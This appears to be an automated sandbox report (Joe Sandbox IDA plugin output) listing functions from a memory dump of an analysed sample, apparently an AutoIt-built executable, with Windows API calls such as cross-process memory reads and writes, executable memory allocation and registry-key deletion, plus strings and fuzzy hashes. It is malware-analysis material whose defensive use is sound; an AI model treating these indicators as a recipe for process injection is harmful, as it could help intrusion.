Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 9be3554078011b427a50aca86d879f8e7f338be5b4d296976c01e215d58a53f0
Instruction ID: 152adac39516eaebb9d5647bd6fcfb67cf1eacc5da16c4825a9252736c1e8bce
Opcode Fuzzy Hash: 9be3554078011b427a50aca86d879f8e7f338be5b4d296976c01e215d58a53f0
Instruction Fuzzy Hash: D551996094CA0696DB127728EC2137F3B94FB80700F248D5AE4D5C62AAEE348DD4DFC2

Function 00816192 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00816248
_memmove.LIBCMT ref: 008162E4
_memset.LIBCMT ref: 00816308

Strings

ERCP, xrefs: 008161B3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 3c98c98d2feaee1ab4289fa2387999993337754541671002a56d605814254c3b
Instruction ID: 26f626343a63f808504c99373e7dbd1001cf3ca0762e92d0e70f0cbbfb202898
Opcode Fuzzy Hash: 3c98c98d2feaee1ab4289fa2387999993337754541671002a56d605814254c3b
Instruction Fuzzy Hash: EF519071900709DBDB24CF95C9817EAB7F8FF04314F20456EE98AD7251E770AA94CB41

Function 008597F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008614BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00859296,?,?,00000034,00000800,?,00000034), ref: 008614E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0085983F

Part of subcall function 00861487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,008592C5,?,?,00000800,?,00001073,00000000,?,?), ref: 008614B1

Part of subcall function 008613DE: GetWindowThreadProcessId.USER32(?,?), ref: 00861409
Part of subcall function 008613DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0085925A,00000034,?,?,00001004,00000000,00000000), ref: 00861419
Part of subcall function 008613DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0085925A,00000034,?,?,00001004,00000000,00000000), ref: 0086142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 008598AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 008598F9

Strings

@, xrefs: 00859911

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: d495c7617b25856ee7e55038171bdc543c9597c126714deed70f4e39a309e2f6
Instruction ID: 0b6e8f1c62e4ffadd75b6ec76319b5b2bac603a5fe3da6e1fcfbefee785a8977
Opcode Fuzzy Hash: d495c7617b25856ee7e55038171bdc543c9597c126714deed70f4e39a309e2f6
Instruction Fuzzy Hash: 56413076A00218BFDF10DFA8CD45ADEBBB8FB05300F144199FA45B7151DA716E49CBA1

Function 00887946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0088F910,00000000,?,?,?,?), ref: 008879DF
GetWindowLongW.USER32 ref: 008879FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00887A0C

Strings

SysTreeView32, xrefs: 008879B1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 9db14f8df794ff4b094c34dc85463c99cd842cdf70d5a53cc7628294b9591839
Instruction ID: 16df269494dbf4f5c7f6bc057da27c4383780476dcd545750249eb35778d4d8c
Opcode Fuzzy Hash: 9db14f8df794ff4b094c34dc85463c99cd842cdf70d5a53cc7628294b9591839
Instruction Fuzzy Hash: D331DC31204606ABDB15AF38CC45BEA7BA9FB09334F204725F975E22E1D734ED919B50

Function 00887A71 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00887B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00887B76

Strings

S, xrefs: 00887B19
', xrefs: 00887ACA

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend
String ID: S$'
API String ID: 3850602802-2923080695
Opcode ID: adfc90dfdedd52f8a549238b83b1918b8d7f350da16e3dd83df9cb50e26a2310
Instruction ID: e838bdc2b2008f37cc409a2fb5c47ae4d0a4a3fd1dd4a9e3260d4838442f282d
Opcode Fuzzy Hash: adfc90dfdedd52f8a549238b83b1918b8d7f350da16e3dd83df9cb50e26a2310
Instruction Fuzzy Hash: 97410774A0521A9FDB14DF68C881BEABBB5FB09314F20016AE904EB391E770E951CF90

Function 008873D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00887461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00887475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00887499

Strings

SysMonthCal32, xrefs: 0088742C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 0dea5172c6513e79bdd1c179d6e7bfc611c736619b591da2c3b4a7d57bb5a566
Instruction ID: a10da7a6da206fb4ab365efef056fb54f32650bc3639fcfb6e9347f25e4e545a
Opcode Fuzzy Hash: 0dea5172c6513e79bdd1c179d6e7bfc611c736619b591da2c3b4a7d57bb5a566
Instruction Fuzzy Hash: 7B218D32500218ABDF11DEA4CC46FEA3B79FB48724F210214FE55AB191DA75E8919BA0

Function 00886CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00886D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00886D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00886D70

Strings

Listbox, xrefs: 00886D08

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: f871f807e46ff7d170e030b0929ea6a49a32e855e5bdf24e81157c19fd404229
Instruction ID: 9b2dcd002ca2ae324365e9be02416b0a60ea666613fbdd4e99a51102efff0245
Opcode Fuzzy Hash: f871f807e46ff7d170e030b0929ea6a49a32e855e5bdf24e81157c19fd404229
Instruction Fuzzy Hash: B6219532610118BFDF119F54DC45FBB377AFF89760F118124FA459B190D671AC6187A0

Function 0088770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00887772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00887787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00887794

Strings

msctls_trackbar32, xrefs: 00887749

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: e53319afd06d290922deef174ab57def5a7e90411a116e26e04e0a15c79ec5d9
Instruction ID: b53a44c34ae5a8e0d69ea07b7b75cdfb69729c71534eae5ecb2bca305d1f3357
Opcode Fuzzy Hash: e53319afd06d290922deef174ab57def5a7e90411a116e26e04e0a15c79ec5d9
Instruction Fuzzy Hash: D711E772244208BAEF206F65CC05FEB7779FF89B64F114218FA41D6190D671E851CB20

Function 0088ACCF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,008C57B0,0088D809,000000FC,?,00000000,00000000,?,?,?,0083B969,?,?,?,?,?), ref: 0088ACD1
GetFocus.USER32 ref: 0088ACD9

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

Part of subcall function 008025DB: GetWindowLongW.USER32(?,000000EB), ref: 008025EC

SendMessageW.USER32(00E2EE78,000000B0,000001BC,000001C0), ref: 0088AD4B

Strings

S, xrefs: 0088AD12, 0088AD23

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Long$FocusForegroundMessageSend
String ID: S
API String ID: 3601265619-2858979982
Opcode ID: 8cd7ad774292941e64f8287b89545e3c69a6f16f42860f5c25cc8ebca773a155
Instruction ID: fdb38f77b9e1fb2f49d2034b50d56af3f458456247db7bdca507971da87dcb90
Opcode Fuzzy Hash: 8cd7ad774292941e64f8287b89545e3c69a6f16f42860f5c25cc8ebca773a155
Instruction Fuzzy Hash: EE0152312015009FDB24EB28DC98E6677E6FB89325B18027DF525C72F1DB32AC46CB51

Function 00841935 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00841775

Part of subcall function 0087BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0084195E,?), ref: 0087BFFE
Part of subcall function 0087BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0087C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0084196D

Strings

WIN_XPe, xrefs: 00841788
8o, xrefs: 00841935

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: 8o$WIN_XPe
API String ID: 582185067-1487635904
Opcode ID: c16f021edc6bb5da019fcf3b98605715d338468630bbbd94149e8f16f4718165
Instruction ID: 3285f1c3a59126b879a2fe72e0991b79f810a0d7a3d5537af48884ec861b28ef
Opcode Fuzzy Hash: c16f021edc6bb5da019fcf3b98605715d338468630bbbd94149e8f16f4718165
Instruction Fuzzy Hash: 18F01E7080100CEFCB25DBA4C988AECBBB8FB08304F600095E112E20A5DB319E84CF24

Function 00804C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00804BD0,?,00804DEF,?,008C52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00804C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00804C23

Strings

kernel32.dll, xrefs: 00804C0C
Wow64DisableWow64FsRedirection, xrefs: 00804C1D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 9d4b261724dfb38d8a7b49550487a0b85ed7730fc99f1ead0f3e88c187cbe354
Instruction ID: 27f6362a9acf38959526e116ccdd6a52aa803903eeb3d87035944fa1c4be8033
Opcode Fuzzy Hash: 9d4b261724dfb38d8a7b49550487a0b85ed7730fc99f1ead0f3e88c187cbe354
Instruction Fuzzy Hash: 9BD0C270500713CFD7206F74CE0820AB6D5FF08352B008C399591C2291E6B4C880C710

Function 00804C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00804B83,?), ref: 00804C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00804C56

Strings

Wow64RevertWow64FsRedirection, xrefs: 00804C50
kernel32.dll, xrefs: 00804C3F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 964b52cd7842ac7440c1238e03860a2e8d71afae76a2de60b313027393bc052f
Instruction ID: 97bcd6aacdd4b3ae4115fa09aafda397d66c564e2c13c99a1e5f5c8339a1877e
Opcode Fuzzy Hash: 964b52cd7842ac7440c1238e03860a2e8d71afae76a2de60b313027393bc052f
Instruction Fuzzy Hash: 9AD0C770600713CFE7209F35CD0820A72E4FF00361B10883EA6A2C62A1E674C8C0CB20

Function 00880DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00881039), ref: 00880DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00880E07

Strings

advapi32.dll, xrefs: 00880DF0
RegDeleteKeyExW, xrefs: 00880E01

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: f5ba3b723f7ab2539c4628ff832836e43d51ff9e946435276e9f5acd89e44e07
Instruction ID: 14b3ac5228bedcb64c3236145bbc1b5648c70d1425bb6507bde4afde15354120
Opcode Fuzzy Hash: f5ba3b723f7ab2539c4628ff832836e43d51ff9e946435276e9f5acd89e44e07
Instruction Fuzzy Hash: 64D0E274550722CFD761AF79C80868776E5FF04752F118C2ED696D2251E6B4D8908B50

Function 008790E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00878CF4,?,0088F910), ref: 008790EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00879100

Strings

GetModuleHandleExW, xrefs: 008790FA
kernel32.dll, xrefs: 008790E9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9e62178bf8113db74fe3e2223397d940bd3c4737a24273e58c91db6b204835c6
Instruction ID: de0a2b79597bec526a796cfd02a94e0c93643523670d3d1372e6a83817ce5c44
Opcode Fuzzy Hash: 9e62178bf8113db74fe3e2223397d940bd3c4737a24273e58c91db6b204835c6
Instruction Fuzzy Hash: D8D01234510713CFD7209F39D81C64676D4FF05751B51C879D5E5D6650EA78C890CB60

Function 00841714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00841718
__swprintf.LIBCMT ref: 00841749

Strings

WIN_XPe, xrefs: 00841788
%.3d, xrefs: 00841723

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 61dc518b69cacd326b52e97e2f1b38c8ff2243921b15add77cb8f8b7d4db8922
Instruction ID: 78336af2a5595c190af79073bbd07df62e9eb745dd565c2a161c13df3df6f09e
Opcode Fuzzy Hash: 61dc518b69cacd326b52e97e2f1b38c8ff2243921b15add77cb8f8b7d4db8922
Instruction Fuzzy Hash: 75D0177184511CFACF509B909C8D8F9737CFB18309F200562F622E2184E22A9BD4EB21

Function 0085717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fdbd76c5f9fc92a8aeeecdfc1fd4ca7cbce33edf3c77cfb2a573e47f1a64a40
Instruction ID: 0950dd940aa7409af175c3c6f85859d54f28744d209a78b1bb0c469aebb9c5a9
Opcode Fuzzy Hash: 3fdbd76c5f9fc92a8aeeecdfc1fd4ca7cbce33edf3c77cfb2a573e47f1a64a40
Instruction Fuzzy Hash: 47C16E74A0421AEFCB14CF98D884EAEBBB5FF48715B148598EC06EB251D730DD85DB90

Function 0087E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0087E0BE
CharLowerBuffW.USER32(?,?), ref: 0087E101

Part of subcall function 0087D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0087D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0087E301
_memmove.LIBCMT ref: 0087E314

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 368db3334bd1eb118cfb1d636ecc1ae59002b3b7ed8af16f2b498243320123d6
Instruction ID: bf3b04339e06f49780b1deb4cfaf85c66851132e48a0f127b0bdec2e15cc9571
Opcode Fuzzy Hash: 368db3334bd1eb118cfb1d636ecc1ae59002b3b7ed8af16f2b498243320123d6
Instruction Fuzzy Hash: 84C14671A083019FC754DF28C88096ABBE4FF89718F14896EF999DB352D730E945CB92

Function 00878093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 008780C3
CoUninitialize.OLE32 ref: 008780CE

Part of subcall function 0085D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0085D5D4

VariantInit.OLEAUT32(?), ref: 008780D9
VariantClear.OLEAUT32(?), ref: 008783AA

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: a9ba408072f14f785cd8c5305528dbbe22f9e1c7c47c87984ba4aca9eba2e354
Instruction ID: 35b8aaff4f89ee90e1e313422a419a5f3f0d5efcbbe7a14cd76035aa8761ea8c
